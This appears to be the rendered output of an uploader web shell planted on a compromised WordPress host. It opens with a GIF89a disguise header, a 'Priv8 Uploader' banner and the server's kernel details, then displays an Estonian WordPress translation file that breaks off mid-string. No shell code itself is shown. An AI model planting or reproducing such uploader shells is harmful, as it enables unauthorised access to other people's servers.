GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
# Translation of Development in Estonian # This file is distributed under the same license as the Development package. msgid "" msgstr "" "PO-Revision-Date: 2014-09-04 08:03:03+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/0.1\n" "Project-Id-Version: Development\n" #. translators: 'rtl' or 'ltr'. This sets the text direction for WordPress. #: wp-includes/locale.php:184 msgctxt "text direction" msgid "ltr" msgstr "ltr" #: wp-includes/post.php:57 msgctxt "add new media" msgid "Add New" msgstr "" #: wp-includes/post.php:55 msgctxt "post type general name" msgid "Media" msgstr "" #: wp-includes/class-wp-editor.php:941 msgctxt "TinyMCE menu" msgid "Format" msgstr "" #: wp-includes/post.php:22 msgctxt "add new on admin bar" msgid "Post" msgstr "" #: wp-includes/post.php:38 msgctxt "add new on admin bar" msgid "Page" msgstr "" #: wp-includes/admin-bar.php:573 msgctxt "add new from admin bar" msgid "Link" msgstr "" #: wp-includes/class-wp-editor.php:794 msgctxt "list style" msgid "Default" msgstr "" #: wp-login.php:845 msgid "<strong>You have successfully updated WordPress!</strong> Please log back in to see what’s new." msgstr "<strong>Oled WordPressi edukalt uuendanud!</strong> Palun logi uuesti sisse, et näha mis on muutunud." #: wp-includes/media.php:2951 msgid "Trash Selected" msgstr "Kustuta valitud" #: wp-includes/media.php:2952 msgid "Untrash Selected" msgstr "Taasta valitud" #: wp-includes/media-template.php:418 wp-includes/media-template.php:521 msgid "Untrash" msgstr "Taasta" #: wp-includes/media.php:2948 msgid "" "You are about to trash these items.\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Oled kustutamas seda objekti jäädavalt. \n" "Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'." #: wp-includes/class-wp-customize-panel.php:175 msgid "Press return or enter to open this panel" msgstr "Valiku avamiseks vajuta reavahetusklahvi." #: wp-includes/media.php:2949 msgid "Bulk Select" msgstr "Massvalik" #: wp-includes/media.php:2950 msgid "Cancel Selection" msgstr "Tühista valik" #: wp-includes/media.php:2953 msgid "Delete Selected" msgstr "Kustuta valitud\n" #: wp-includes/script-loader.php:540 msgctxt "missing menu item navigation label" msgid "(no label)" msgstr "(sildita)" #. translators: %s: taxonomy label, %l: list of term links #: wp-includes/taxonomy.php:3757 wp-includes/taxonomy.php:3782 msgid "%s: %l." msgstr "%s: %l." #: wp-includes/user.php:137 msgid "<strong>ERROR</strong>: Invalid username. <a href=\"%s\">Lost your password</a>?" msgstr "<strong>VIGA</strong>: Vale kasutajanimi. <a href=\"%s\">Kaotasid enda parooli</a>?" #: wp-includes/user.php:153 msgid "<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href=\"%2$s\">Lost your password</a>?" msgstr "<strong>VIGA</strong>: Kasutaja <strong>%1$s</strong> parool sisestati valesti. <a href=\"%2$s\">Kaotasid enda parooli</a>?" #: wp-includes/media.php:1471 msgid "Bitrate" msgstr "Bitikiirus" #: wp-includes/class-wp-editor.php:932 msgid "Your browser does not support direct access to the clipboard. Please use keyboard shortcuts or your browser’s edit menu instead." msgstr "Sinu veebilehitseja ei toeta otseligipääsu lõikepuhvrile. Kasuta selle asemel klahvikombinatsioone või veebilehitseja \"Muuda\" menüüd." #: wp-includes/class-wp-editor.php:947 msgid "Read more..." msgstr "Loe edasi..." #: wp-includes/class-wp-editor.php:1412 msgid "Search or use up and down arrow keys to select an item." msgstr " Objekti valimiseks kasuta otsingut või nooleklahve \"Üles\" ja \"Alla\"." #: wp-includes/media-template.php:151 msgid "Close media panel" msgstr "Sulge meediamoodul" #: wp-includes/media-template.php:172 msgid "Close uploader" msgstr "Sulge üleslaadija" #: wp-includes/media-template.php:218 msgid "Maximum upload file size: %s." msgstr "Maksimaalne üleslaaditava failil suurus: %s." #: wp-includes/media-template.php:237 msgid "List View" msgstr "Loendivaade" #: wp-includes/media-template.php:240 msgid "Grid View" msgstr "Sõrestikvaade" #: wp-includes/media-template.php:267 msgid "Edit previous media item" msgstr "Muuda eelmist meediafaili" #: wp-includes/media-template.php:268 msgid "Edit next media item" msgstr "Muuda järgmist meediafaili" #: wp-includes/media-template.php:327 msgid "File name:" msgstr "Faili nimi:" #: wp-includes/media-template.php:328 msgid "File type:" msgstr "Faili tüüp:" #: wp-includes/media-template.php:329 msgid "Uploaded on:" msgstr "Üleslaaditud:" #: wp-includes/media-template.php:331 msgid "File size:" msgstr "Faili suurus:" #: wp-includes/media-template.php:334 msgid "Dimensions:" msgstr "Mõõdud:" #: wp-includes/media-template.php:344 msgid "Bitrate:" msgstr "Bitikiirus:" #: wp-includes/media-template.php:394 msgid "Uploaded By" msgstr "Üleslaadija" #: wp-includes/media-template.php:399 msgid "Uploaded To" msgstr "Üleslaaditud" #: wp-includes/media-template.php:411 msgid "View attachment page" msgstr "Vaata manuselehte" #: wp-includes/media-template.php:413 msgid "Edit more details" msgstr "Muuda veel detaile" #: wp-includes/media.php:1472 msgid "Bitrate Mode" msgstr "Bitikiiruse laad" #: wp-includes/media.php:2939 msgid "All media types" msgstr "Kõik meediafaili tüübid" #: wp-includes/media.php:2940 msgid "All dates" msgstr "Kõik kuupäevad" #: wp-includes/media.php:2943 msgid "Unattached" msgstr "Manustamata" #: wp-includes/media.php:2947 msgid "" "You are about to permanently delete these items.\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Oled kustutamas neid objekte jäädavalt. \n" "Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'." #: wp-includes/media.php:2956 msgid "Filter by date" msgstr "Filtreeri kuupäeva järgi\n" #: wp-includes/media.php:2957 msgid "Filter by type" msgstr "Filtreeri tüübi järgi" #: wp-includes/media.php:2958 msgid "Search Media" msgstr "Otsi meediafaili" #: wp-includes/media.php:3031 msgid "Edit Metadata" msgstr "Muuda metaandmeid" #: wp-includes/ms-load.php:95 msgid "This site is no longer available." msgstr "Veebileht pole enam saadaval." #: wp-comments-post.php:136 msgid "<strong>ERROR</strong>: The comment could not be saved. Please try again later." msgstr "<strong>VIGA</strong>: Kommentaari ei õnnestu salvestada. Proovi hiljem uuesti." #: wp-includes/class-wp-customize-control.php:988 msgid "While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header size of <strong>%s × %s</strong> pixels." msgstr "Ehkki lisatud pilte saab kärpida enda soovi järgi klikates <strong>Lisa uus pilt</strong> , soovitab Sinu kasutatav teema päise suuruseks <strong>%s × %s</strong> pikslit." #: wp-includes/class-wp-customize-control.php:990 msgid "While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header width of <strong>%s</strong> pixels." msgstr "Ehkki lisatud pilte saab kärpida enda soovi järgi klikates <strong>Lisa uus pilt</strong>, soovitab Sinu kasutatav teema päise laiuseks <strong>%s</strong> pikslit." #: wp-includes/class-wp-customize-control.php:992 msgid "While you can crop images to your liking after clicking <strong>Add new image</strong>, your theme recommends a header height of <strong>%s</strong> pixels." msgstr "Ehkki lisatud pilte saab kärpida enda soovi järgi klikates <strong>Lisa uus pilt</strong>, soovitab Sinu kasutatav teema päise kõrguseks <strong>%s</strong> pikslit." #: wp-includes/class-wp-customize-section.php:182 msgid "Press return or enter to expand" msgstr "Avamiseks vajuta reavahetuseklahvi." #. translators: %s is the site/panel title in the Customizer #: wp-includes/class-wp-customize-panel.php:182 msgid "You are customizing %s" msgstr "Sa kohandad %s" #: wp-includes/class-wp-customize-widgets.php:438 msgid "Widgets are independent sections of content that can be placed into widgetized areas provided by your theme (commonly called sidebars)." msgstr "Moodulid on iseseisvad sisu osad, mida saab asetada Sinu teema moodulialasse (tuntud ka kui küljepaanid)." #: wp-includes/update.php:119 wp-includes/update.php:295 #: wp-includes/update.php:457 msgid "(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)" msgstr "(Wordpress ei suutnud luua turvalist ühendust Wordpress.org lehega. Palun võtke ühendust oma serveri administraatoriga.)" #: wp-includes/class-wp-customize-widgets.php:1049 msgid "Shift-click to edit this widget." msgstr "Mooduli muutmiseks hoia Shifti all ja kliki moodulil." #: wp-includes/class-wp-editor.php:757 msgctxt "HTML tag" msgid "Address" msgstr "Aadress" #: wp-includes/class-wp-editor.php:929 msgid "If you’re looking to paste rich content from Microsoft Word, try turning this option off. The editor will clean up text pasted from Word automatically." msgstr "Kui kleebid siia teksti Microsoft Wordist, lülita see valik välja. Nii puhastatakse kleebitud tekst automaatselt ülearustest märkidest." #: wp-includes/class-wp-editor.php:944 #: wp-includes/js/tinymce/wp-mce-help.php:16 msgid "Keyboard Shortcuts" msgstr "Klaviatuuri otseteed" #: wp-login.php:774 msgid "<strong>ERROR</strong>: Cookies are blocked due to unexpected output. For help, please see <a href=\"%1$s\">this documentation</a> or try the <a href=\"%2$s\">support forums</a>." msgstr "<strong>VIGA</strong>: Küpsised (cookie) blokeeriti kahtlase väljundi tõttu. Täpsemalt vaata <a href=\"%1$s\">dokumentatsiooni</a> või uuri <a href=\"%2$s\">foorumist</a>." #: wp-login.php:775 wp-login.php:779 msgid "http://codex.wordpress.org/Cookies" msgstr "http://codex.wordpress.org/Cookies" #: wp-login.php:778 msgid "<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href=\"%s\">enable cookies</a> to use WordPress." msgstr "<strong>VIGA</strong>: Sinu veebilehitseja ei toeta või ei luba küpsiseid (cookie). WordPressi kasutamiseks pead neid lubama." #: wp-includes/js/tinymce/wp-mce-help.php:132 msgid "Add/remove code tag" msgstr "Lisa/eemalda koodisilt" #: wp-includes/media-template.php:970 msgid "Link CSS Class" msgstr "Viite CSS-klass" #: wp-includes/media-template.php:750 msgid "Show Video List" msgstr "Näita videote nimekirja" #: wp-includes/media-template.php:867 msgid "Display Settings" msgstr "Kuvasätted" #: wp-includes/media-template.php:846 msgid "Edit Original" msgstr "Muuda originaali" #: wp-includes/class-wp-editor.php:909 msgctxt "table cell alignment attribute" msgid "None" msgstr "Puudub" #: wp-includes/class-wp-editor.php:769 msgid "Font Family" msgstr "Kirjastiiliklass" #: wp-includes/class-wp-editor.php:770 msgid "Font Sizes" msgstr "Kirja suurused" #: wp-includes/class-wp-editor.php:900 msgid "Split table cell" msgstr "Poolita lahter" #: wp-includes/media-template.php:223 wp-includes/media.php:2993 msgid "Suggested image dimensions:" msgstr "Pildi soovituslikud mõõtmed:" #: wp-includes/media-template.php:914 msgid "Custom Size" msgstr "Kohandatud suurus" #: wp-includes/media-template.php:949 msgid "Advanced Options" msgstr "Täpsemad sätted" #: wp-includes/media-template.php:953 msgid "Image Title Attribute" msgstr "Pildi Title atribuut" #: wp-includes/media-template.php:957 msgid "Image CSS Class" msgstr "Pildi CSS klass" #: wp-includes/media-template.php:370 wp-includes/media-template.php:549 #: wp-includes/media.php:1462 msgid "Artist" msgstr "Artist" #: wp-includes/media-template.php:371 wp-includes/media-template.php:550 #: wp-includes/media.php:1463 msgid "Album" msgstr "Album" #: wp-includes/media.php:1467 msgid "Genre" msgstr "Žanr" #: wp-includes/media.php:1468 msgid "Year" msgstr "Aasta" #: wp-includes/media.php:1469 msgctxt "video or audio" msgid "Length" msgstr "Pikkus" #: wp-includes/media.php:2994 msgid "There has been an error cropping your image." msgstr "Pildi kärpimisel tekkis viga." #: wp-includes/media.php:3013 msgid "Edit Audio Playlist" msgstr "Muuda lugude loendit" #: wp-includes/media.php:3014 msgid "← Cancel Audio Playlist" msgstr "← Tühista" #: wp-includes/media.php:3015 msgid "Insert audio playlist" msgstr "Lisa helifailide nimekiri" #: wp-includes/media.php:3016 msgid "Update audio playlist" msgstr "Uuenda helifailide nimekirja" #: wp-includes/media.php:3017 msgid "Add to audio playlist" msgstr "Lisa lugude loendisse" #: wp-includes/media.php:3018 msgid "Add to Audio Playlist" msgstr "Lisa nimekirja" #: wp-includes/class-wp-customize-widgets.php:701 msgctxt "Move widget" msgid "Move" msgstr "Liiguta" #: wp-includes/class-wp-customize-control.php:924 msgid "Set image" msgstr "Paigalda pilt" #. translators: Hide as in hide header image via the Customizer #: wp-includes/class-wp-customize-control.php:1005 msgctxt "custom header" msgid "Hide image" msgstr "Peida pilt" #. translators: New as in add new header image via the Customizer #: wp-includes/class-wp-customize-control.php:1007 msgctxt "header image" msgid "Add new image" msgstr "Lisa uus pilt" #: wp-includes/class-wp-customize-control.php:1054 msgctxt "Reorder widgets in Customizer" msgid "Reorder" msgstr "Paiguta ümber" #: wp-includes/class-wp-customize-control.php:1055 msgctxt "Cancel reordering widgets in Customizer" msgid "Done" msgstr "Valmis" #: wp-includes/class-wp-customize-widgets.php:725 msgid "Save and preview changes before publishing them." msgstr "Salvesta ja eelvaatle muutusi enne nende avaldamist." #: wp-includes/class-wp-customize-widgets.php:727 msgid "Trash widget by moving it to the inactive widgets sidebar." msgstr "Mooduli äraviskamiseks liiguta see mitteaktiivsete moodulite külgpaanile." #: wp-includes/class-wp-customize-widgets.php:758 msgid "Search Widgets" msgstr "Otsi moodulitest" #: wp-includes/class-wp-customize-widgets.php:759 msgid "Search widgets…" msgstr "Otsi moodulitest …" #: wp-includes/class-wp-editor.php:743 msgctxt "TinyMCE" msgid "Headings" msgstr "Pealkirjad" #: wp-includes/media-template.php:1039 wp-includes/media-template.php:1129 msgctxt "auto preload" msgid "Auto" msgstr "Auto" #: wp-includes/class-wp-customize-widgets.php:692 msgid "Move to another area…" msgstr "Liigu teisele alale…" #: wp-includes/media.php:2992 msgid "Cropping…" msgstr "Kärbin…" #: wp-includes/media-template.php:1146 msgid "Tracks (subtitles, captions, descriptions, chapters, or metadata)" msgstr "Lood (subtiitrid, sisuedastus, kirjeldused, peatükid või metaandmed)" #: wp-includes/class-wp-editor.php:741 msgctxt "TinyMCE" msgid "Formats" msgstr "Vormindus" #: wp-includes/class-wp-editor.php:917 msgctxt "table cell scope attribute" msgid "Scope" msgstr "Lahtriskoop" #: wp-includes/class-wp-editor.php:881 msgctxt "table column" msgid "Column" msgstr "Veerg" #. translators: block tags #: wp-includes/class-wp-editor.php:752 msgctxt "TinyMCE" msgid "Blocks" msgstr "Blokid" #: wp-includes/class-wp-editor.php:755 msgctxt "HTML tag" msgid "Div" msgstr "Lõik (div)" #: wp-includes/class-wp-editor.php:756 msgctxt "HTML tag" msgid "Pre" msgstr "eelvormindus (pre)" #: wp-includes/class-wp-editor.php:759 msgctxt "HTML elements" msgid "Inline" msgstr "tekstisisene" #: wp-includes/class-wp-editor.php:767 msgctxt "editor button" msgid "Code" msgstr "Kood" #: wp-includes/class-wp-editor.php:791 msgid "Bulleted list" msgstr "Järjestamata loend" #: wp-includes/class-wp-editor.php:793 msgctxt "list style" msgid "Square" msgstr "Ruut" #: wp-includes/class-wp-editor.php:795 msgctxt "list style" msgid "Circle" msgstr "Ring" #: wp-includes/class-wp-editor.php:796 msgctxt "list style" msgid "Disc" msgstr "Punkt" #: wp-includes/class-wp-editor.php:797 msgctxt "list style" msgid "Lower Greek" msgstr "Kreeka väiketähed" #: wp-includes/class-wp-editor.php:798 msgctxt "list style" msgid "Lower Alpha" msgstr "Väiketähed" #: wp-includes/class-wp-editor.php:799 msgctxt "list style" msgid "Upper Alpha" msgstr "Suurtähed" #: wp-includes/class-wp-editor.php:800 msgctxt "list style" msgid "Upper Roman" msgstr "Suured rooma numbrid" #: wp-includes/class-wp-editor.php:801 msgctxt "list style" msgid "Lower Roman" msgstr "Väikesed rooma numbrid" #: wp-includes/class-wp-editor.php:804 msgctxt "Name of link anchor (TinyMCE)" msgid "Name" msgstr "Nimi" #: wp-includes/class-wp-editor.php:805 msgctxt "Link anchor (TinyMCE)" msgid "Anchor" msgstr "Viide" #: wp-includes/class-wp-editor.php:806 msgctxt "Link anchors (TinyMCE)" msgid "Anchors" msgstr "Viited" #: wp-includes/class-wp-editor.php:839 msgctxt "editor button" msgid "Right to left" msgstr "Paremalt vasakule" #: wp-includes/class-wp-editor.php:840 msgctxt "editor button" msgid "Left to right" msgstr "Vasakult paremale" #: wp-includes/class-wp-editor.php:857 msgctxt "find/replace" msgid "Replace" msgstr "Asenda" #: wp-includes/class-wp-editor.php:858 msgctxt "find/replace" msgid "Next" msgstr "Järgmine" #. translators: previous #: wp-includes/class-wp-editor.php:860 msgctxt "find/replace" msgid "Prev" msgstr "Eelmine" #: wp-includes/class-wp-editor.php:861 msgctxt "find/replace" msgid "Whole words" msgstr "Terved sõnad" #: wp-includes/class-wp-editor.php:863 msgctxt "find/replace" msgid "Replace with" msgstr "Asenda" #: wp-includes/class-wp-editor.php:864 msgctxt "find/replace" msgid "Find" msgstr "Otsi" #: wp-includes/class-wp-editor.php:865 msgctxt "find/replace" msgid "Replace all" msgstr "Asenda kõik" #: wp-includes/class-wp-editor.php:868 msgctxt "spellcheck" msgid "Finish" msgstr "Lõpeta" #: wp-includes/class-wp-editor.php:869 msgctxt "spellcheck" msgid "Ignore all" msgstr "Eira kõiki" #: wp-includes/class-wp-editor.php:870 msgctxt "spellcheck" msgid "Ignore" msgstr "Eira" #: wp-includes/class-wp-editor.php:882 msgctxt "table columns" msgid "Cols" msgstr "Veerud" #: wp-includes/class-wp-editor.php:883 msgctxt "table cell" msgid "Cell" msgstr "Lahter" #: wp-includes/class-wp-editor.php:885 msgctxt "table header" msgid "Header" msgstr "Päis" #: wp-includes/class-wp-editor.php:886 msgctxt "table body" msgid "Body" msgstr "Tabeli sisu" #: wp-includes/class-wp-editor.php:887 msgctxt "table footer" msgid "Footer" msgstr "Jalus" #: wp-includes/class-wp-editor.php:919 msgctxt "TinyMCE" msgid "Insert template" msgstr "Lisa mall" #: wp-includes/class-wp-editor.php:920 msgctxt "TinyMCE" msgid "Templates" msgstr "Mallid" #: wp-includes/class-wp-editor.php:924 msgctxt "editor button" msgid "Show blocks" msgstr "Näita blokke" #. translators: word count #: wp-includes/class-wp-editor.php:928 msgid "Words: %s" msgstr "Sõnu: %s" #: wp-includes/class-wp-editor.php:935 msgctxt "TinyMCE menu" msgid "Insert" msgstr "Lisa" #: wp-includes/class-wp-editor.php:936 msgctxt "TinyMCE menu" msgid "File" msgstr "Fail" #: wp-includes/class-wp-editor.php:937 msgctxt "TinyMCE menu" msgid "Edit" msgstr "Muuda" #: wp-includes/class-wp-editor.php:938 msgctxt "TinyMCE menu" msgid "Tools" msgstr "Vahendid" #: wp-includes/class-wp-editor.php:939 msgctxt "TinyMCE menu" msgid "View" msgstr "Vaade" #: wp-includes/class-wp-editor.php:940 msgctxt "TinyMCE menu" msgid "Table" msgstr "Tabel" #: wp-includes/media-template.php:1027 wp-includes/media-template.php:1110 msgid "Add alternate sources for maximum HTML5 playback:" msgstr "Lisa alternatiivallikaid (parem HTML5 toetus):" #: wp-includes/media.php:2981 msgid "Image Details" msgstr "Pildi detailid" #: wp-includes/update.php:119 wp-includes/update.php:295 #: wp-includes/update.php:457 msgid "An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the <a href=\"https://wordpress.org/support/\">support forums</a>." msgstr "Tekkis ootamatu viga. Midagi on lahti kas WordPress.org -lehe või selle serveri seadistustega. Kui probleemid jätkuvad, võiksid uurida <a href=\"https://wordpress.org/support/\">tugifoorumit</a>." #: wp-includes/media.php:2919 msgid "Back" msgstr "Tagasi" #: wp-includes/media-template.php:752 msgid "Show Tracklist" msgstr "Näita loonimekirja" #: wp-includes/media-template.php:420 wp-includes/media-template.php:523 #: wp-includes/media.php:2944 msgid "Trash" msgstr "Prügikasti" #: wp-includes/media-template.php:740 msgid "Playlist Settings" msgstr "Loonimekirja sätted" #: wp-includes/default-widgets.php:227 msgctxt "Search widget" msgid "Search" msgstr "Otsi" #. translators: used to join items in a list with more than 2 items #: wp-includes/formatting.php:3615 msgid "%s, %s" msgstr "%s, %s" #. translators: used to join last two items in a list with more than 2 times #: wp-includes/formatting.php:3617 msgid "%s, and %s" msgstr "%s ja %s " #. translators: used to join items in a list with only 2 items #: wp-includes/formatting.php:3619 msgid "%s and %s" msgstr "%s ja %s" #: wp-includes/media-template.php:761 msgid "Show Artist Name in Tracklist" msgstr "Näita lugudeloendis esitaja nime" #: wp-includes/media-template.php:769 msgid "Show Images" msgstr "Näita pilte" #: wp-includes/media-template.php:1040 wp-includes/media-template.php:1130 msgid "Metadata" msgstr "Metaandmed" #: wp-includes/media-template.php:1047 wp-includes/media-template.php:1137 msgid "Autoplay" msgstr "Automaatesitus" #: wp-includes/media-template.php:1121 msgid "Poster Image" msgstr "Postripilt" #: wp-includes/media-template.php:1159 msgid "There are no associated subtitles." msgstr "Seonduvaid subtiitreid ei leitud." #: wp-includes/media.php:2935 msgid "Create a new playlist" msgstr "Loo uus nimekiri" #: wp-includes/media.php:2936 msgid "Create a new video playlist" msgstr "Loo uus videonimekiri" #: wp-includes/media.php:2982 msgid "Replace Image" msgstr "Asenda pilt" #: wp-includes/media.php:2983 wp-includes/media.php:3000 #: wp-includes/media.php:3006 msgid "Cancel Edit" msgstr "Tühista muutmine" #: wp-includes/media.php:2987 msgid "Choose Image" msgstr "Vali pilt" #: wp-includes/media.php:2988 msgid "Select and Crop" msgstr "Vali ja kärbi" #: wp-includes/media.php:2989 msgid "Skip Cropping" msgstr "Ära kärbi" #: wp-includes/media.php:2990 msgid "Crop Image" msgstr "Kärbi pilti" #: wp-includes/media.php:2991 msgid "Crop your image" msgstr "Kärbi pilti" #: wp-includes/media.php:2997 msgid "Audio Details" msgstr "Helifaili info" #: wp-includes/media.php:2998 msgid "Replace Audio" msgstr "Asenda helifail" #: wp-includes/media.php:2999 msgid "Add Audio Source" msgstr "Lisa audioallikas" #: wp-includes/media.php:3003 msgid "Video Details" msgstr "Video info" #: wp-includes/media.php:3004 msgid "Replace Video" msgstr "Asenda video" #: wp-includes/media.php:3005 msgid "Add Video Source" msgstr "Lisa videoallikas" #: wp-includes/media.php:3007 msgid "Select Poster Image" msgstr "Vali postripilt" #: wp-includes/media.php:3008 msgid "Add Subtitles" msgstr "Lisa subtiitrid" #: wp-includes/media.php:3011 msgid "Drag and drop to reorder tracks." msgstr "Lugude järjestust saab muuta hiirega lohistades." #: wp-includes/media.php:3012 msgid "Create Audio Playlist" msgstr "Loo helifailide nimekiri" #: wp-includes/media.php:3021 msgid "Drag and drop to reorder videos." msgstr "Videode järjestust saab muuta hiirega lohistades." #: wp-includes/media.php:3022 msgid "Create Video Playlist" msgstr "Loo videonimekiri" #: wp-includes/media.php:3023 msgid "Edit Video Playlist" msgstr "Muuda videoloendit" #: wp-includes/media.php:3024 msgid "← Cancel Video Playlist" msgstr "← Tühista" #: wp-includes/media.php:3025 msgid "Insert video playlist" msgstr "Lisa videonimekiri" #: wp-includes/media.php:3026 msgid "Update video playlist" msgstr "Uuenda videonimekirja" #: wp-includes/media.php:3027 msgid "Add to video playlist" msgstr "Lisa videoloendisse" #: wp-includes/media.php:3028 msgid "Add to Video Playlist" msgstr "Lisa nimekirja" #: wp-includes/nav-menu.php:322 msgid "Invalid menu ID." msgstr "Vigane menüü-ID." #: wp-includes/wp-db.php:991 msgid "" "<h1>Can’t select database</h1>\n" "<p>We were able to connect to the database server (which means your username and password is okay) but not able to select the <code>%1$s</code> database.</p>\n" "<ul>\n" "<li>Are you sure it exists?</li>\n" "<li>Does the user <code>%2$s</code> have permission to use the <code>%1$s</code> database?</li>\n" "<li>On some systems the name of your database is prefixed with your username, so it would be like <code>username_%1$s</code>. Could that be the problem?</li>\n" "</ul>\n" "<p>If you don't know how to set up a database you should <strong>contact your host</strong>. If all else fails you may find help at the <a href=\"https://wordpress.org/support/\">WordPress Support Forums</a>.</p>" msgstr "" "<h1>Andmebaasi valik ebaõnnestus</h1>\n" "<p>Me saime ühenduse andmebaasiserveriga (s.t. kasutajanimi ja parool on korras), kuid ei saanud valida andmebaasi <code>%1$s</code>.</p>\n" "<ul>\n" "<li>Oled sa kindel, et see on olemas?</li>\n" "<li>Kas kasutajal <code>%2$s</code> on õigus kasutada andmebaasi <code>%1$s</code>?</li>\n" "<li>Mõnes süsteemis käib andmebaasi nime ees eesliitena sinu kasutajanimi, nii et see on kujul <code>kasutaja_%1$s</code>. Ehk on asi selles?</li>\n" "</ul>\n" "<p>Kui sa ei oska andmebaasi seadistada, <strong>võta ühendust enda veebiserveri haldajatega</strong>. Võid vaadata ka <a href=\"https://wordpress.org/support/\">WordPressi tugifoorumisse</a>.</p>" #: wp-includes/wp-db.php:1160 msgid "The query argument of %s must have a placeholder." msgstr "Päringuargument %s peab sisaldama lünka." #: wp-includes/wp-db.php:1424 msgid "" "\n" "<h1>Error establishing a database connection</h1>\n" "<p>This either means that the username and password information in your <code>wp-config.php</code> file is incorrect or we can't contact the database server at <code>%s</code>. This could mean your host's database server is down.</p>\n" "<ul>\n" "\t<li>Are you sure you have the correct username and password?</li>\n" "\t<li>Are you sure that you have typed the correct hostname?</li>\n" "\t<li>Are you sure that the database server is running?</li>\n" "</ul>\n" "<p>If you're unsure what these terms mean you should probably contact your host. If you still need help you can always visit the <a href='https://wordpress.org/support/'>WordPress Support Forums</a>.</p>\n" msgstr "" "\n" "<h1>Viga andmebaasiga ühendumisel</h1>\n" "<p>See tähendab, et sinu <code>wp-config.php</code>-failis olev kasutajanimi ja/või parool on vale või ei saa andmebaasiserveriga <code>%s</code> ühendust. Viimasel juhul võib server maas olla.</p>\n" "<ul>\n" "\t<li>Oled sa kindel, et kasutajanimi ja parool on õiged?</li>\n" "\t<li>Oled sa kindel, et serveri nimi on õige?</li>\n" "\t<li>Oled sa kindel, et andmebaasiserver töötab?</li>\n" "</ul>\n" "<p>Kui sa pole nende terminite tähenduses kindel, peaksid võtma ühendust oma internetiteenuse pakkujaga.Lisainfot saab ka <a href='https://wordpress.org/support/'>WordPressi tugifoorumist</a>.</p>\n" #: wp-login.php:632 msgid "Hint: The password should be at least seven characters long. To make it stronger, use upper and lower case letters, numbers, and symbols like ! \" ? $ % ^ & )." msgstr "Vihje: Sinu parool peaks olema vähemalt seitse märki pikk. Tugevama parooli saamiseks kasuta nii suur- kui väiketähti, numbreid ja erimärke nagu ! \" ? $ % ^ & )." #: wp-includes/class-wp-editor.php:830 msgid "Insert/edit video" msgstr "Lisa/muuda video" #: wp-includes/class-wp-editor.php:856 msgid "Could not find the specified string." msgstr "Sellist teksti ei leitud." #: wp-includes/class-wp-editor.php:912 msgid "Column group" msgstr "Veerugrupp" #: wp-includes/class-wp-editor.php:945 msgid "Toolbar Toggle" msgstr "Tööriistariba" #: wp-includes/class-wp-editor.php:828 msgid "Insert image" msgstr "Lisa pilt" #: wp-includes/class-wp-editor.php:826 msgid "Style" msgstr "Stiil" #: wp-includes/class-wp-editor.php:832 msgid "Alternative source" msgstr "Alternatiivallikas" #: wp-includes/class-wp-editor.php:1254 msgid "Save failed." msgstr "Salvestamine ebaõnnestus" #: wp-includes/class-wp-editor.php:1214 msgid "Media library (Alt + Shift + M)" msgstr "Meediateek (Alt-Shift-M)" #: wp-includes/class-wp-editor.php:812 msgid "Keywords" msgstr "Võtmesõnad" #: wp-includes/admin-bar.php:130 wp-includes/default-widgets.php:399 #: wp-login.php:100 msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #: wp-includes/admin-bar.php:146 wp-login.php:775 msgid "https://wordpress.org/support/" msgstr "https://wordpress.org/support/" #: wp-includes/admin-bar.php:154 msgid "https://wordpress.org/support/forum/requests-and-feedback" msgstr "https://wordpress.org/support/forum/requests-and-feedback" #: wp-includes/class-wp-customize-control.php:909 msgid "Randomize uploaded headers" msgstr "Sega üleslaetud päised" #: wp-includes/class-wp-customize-control.php:911 msgid "Randomize suggested headers" msgstr "Sega soovituslike päiste järjekord" #: wp-includes/class-wp-customize-control.php:939 msgid "Randomizing uploaded headers" msgstr "Segan üleslaetud päiseid" #: wp-includes/class-wp-customize-control.php:941 msgid "Randomizing suggested headers" msgstr "Segan soovituslikke päiseid" #: wp-includes/class-wp-customize-control.php:957 msgid "No image set" msgstr "Pilti pole valitud" #: wp-includes/class-wp-customize-control.php:998 msgid "Current header" msgstr "Kasutatav päis" #: wp-includes/class-wp-customize-control.php:1012 msgctxt "custom headers" msgid "Previously uploaded" msgstr "Eelmisena üleslaetud" #: wp-includes/class-wp-customize-control.php:1019 msgctxt "custom headers" msgid "Suggested" msgstr "Soovitus" #: wp-includes/class-wp-customize-control.php:1050 msgid "Add a Widget" msgstr "Lisa moodul" #: wp-includes/class-wp-customize-widgets.php:693 msgid "Move down" msgstr "Liigu alla" #: wp-includes/class-wp-customize-widgets.php:694 msgid "Move up" msgstr "Üles" #: wp-includes/class-wp-customize-widgets.php:700 msgid "Select an area to move this widget into:" msgstr "Vali ala, kuhu soovid moodulit liigutada:" #: wp-includes/class-wp-customize-widgets.php:728 #: wp-includes/script-loader.php:518 msgid "An error has occurred. Please reload the page and try again." msgstr "Tekkis viga. Palun lae leht uuesti ja proovi veel kord." #: wp-includes/class-wp-editor.php:773 msgid "Align right" msgstr "Joonda paremale" #: wp-includes/class-wp-editor.php:792 msgid "Numbered list" msgstr "Järjestatud loend" #: wp-includes/class-wp-editor.php:776 msgid "Increase indent" msgstr "Suurenda taanet" #: wp-includes/class-wp-editor.php:764 msgid "Clear formatting" msgstr "Eemalda vormindus" #: wp-includes/class-wp-editor.php:772 msgid "Align center" msgstr "Joonda keskele" #: wp-includes/class-wp-editor.php:777 msgid "Decrease indent" msgstr "Vähenda taanet" #: wp-includes/class-wp-editor.php:929 msgid "Paste is now in plain text mode. Contents will now be pasted as plain text 